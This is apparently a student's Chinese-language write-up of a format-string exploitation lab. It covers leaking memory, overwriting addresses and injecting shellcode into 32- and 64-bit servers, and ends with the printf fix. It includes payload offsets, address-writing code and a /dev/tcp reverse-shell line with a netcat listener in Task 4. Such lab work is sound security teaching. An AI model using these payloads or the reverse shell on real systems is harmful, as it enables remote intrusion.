Task 1: Crashing the Program
Task 2: Printing Out the Server Program’s Memory
Task 2.A: Stack Data
将输入串的第一个字节设置为 0x11111111
,后面多搞几个 .%x
,经过测试得到需要 64
个就能输出这个数字。
Task 2.B: Heap Data
上面说了,需要 64
个,如果我们把第 64
个 .%x
修改为 .%s
,那么就是输出 0x11111111
这个地址的字符串。现在我们需要输出 secret
字符串,那么就把这个地址修改为 secret
的地址即可。
content[0:4] = (0x080b4008).to_bytes(4, byteorder='little') |
就可以得到结果:
Task 3: Modifying the Server Program’s Memory
Task 3.A: Change the value to a different value.
content[0:4] = (0x080e5068).to_bytes(4, byteorder='little') |
Task 3.B: Change the value to 0x5000
# 4 + 316 + 320 * 63 = 0x5000 |
Task 3.C: Change the value to 0xAABBCCDD.
content[0:4] = (0x080e506a).to_bytes(4, byteorder='little') # 用来写入 AABB |
Task 4: Inject Malicious Code into the Server Program
通过输出我们知道,我们 ebp = 0xffffd6d8
,那么返回地址就是 0xffffd6dc
。为了实现攻击,我们需要修改这个地址上的值,修改为我们 shellcode
的地址。输入地址 &input
是 0xffffd7b0
,那么我们可以选择修改为 0xffffd7b0 + 0x300
,也就是 0xffffdab0
。
好的,现在我们目标就是把地址 0xffffd6dc
的值修改为 0xffffdab0
。和上面修改内存同理,不过需要算下数就是了。
# Choose the shellcode version based on your target |
拿到反向 shell
也很简单,之间做过很多次了,把 shellcode 中 ls 那一行修改为 "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"
,然后在本地执行 nc -nv -l 9090
监听本地 9090 端口的 tcp 连接。然后重新发起攻击,不出意外就能拿到反向 shell
。
Task 5: Attacking the 64-bit Server Program
一个小技巧
自由的移动参数指针。我们可以使用 k$
将参数移动到第 k
个参数的位置。比如 %3$.20x
表示将参数移动到第 3
个,然后以 %.20x
的格式输出。
|
我们先随便测试一下代码,拿到一些地址数据:
我们的任务,就是把 0x00007fffffffe620 + 8
处的值,修改为 0x00007fffffffe6e0 + 0x300
。分解任务:
将
0x00007fffffffe628
的值修改为e9e0
将
0x00007fffffffe62a
的值修改为ffff
将
0x00007fffffffe62c
的值修改为7fff
将
0x00007fffffffe62e
的值修改为0000
测试 content[0] 的偏移
将输入串的第一个字节设置为 0x1111111111111111
,后面多搞几个 .%lx
,经过测试得到需要 34
个就能输出这个数字。
content[0:8] = (0x1111111111111111).to_bytes(8, byteorder='little') |
构造 shellcode
注意,修改为 64
位的 shellcode
。然后我们把有 0
的地址放在比较后面,让 str
先执行。%62$hn
表示把参数移动到第 62
个(content[0]
是第 34
个,那么 content[224]
就是第 34 + 224 / 8
个,也就是第 62
个。然后,%1$32767lx
表示把参数移动到第 1
(随便是几都行)个,输出 0x7fff
次。后面的依次类推。
# Choose the shellcode version based on your target |
反向 shell
修改一下 shellcode
,然后建立一个 tcp
连接,最后发起攻击即可:
Task 6: Fixing the Problem
修改代码 printf(msg);
为 printf("%s", msg);
,攻击肯定就失效了,输入什么就会输出什么。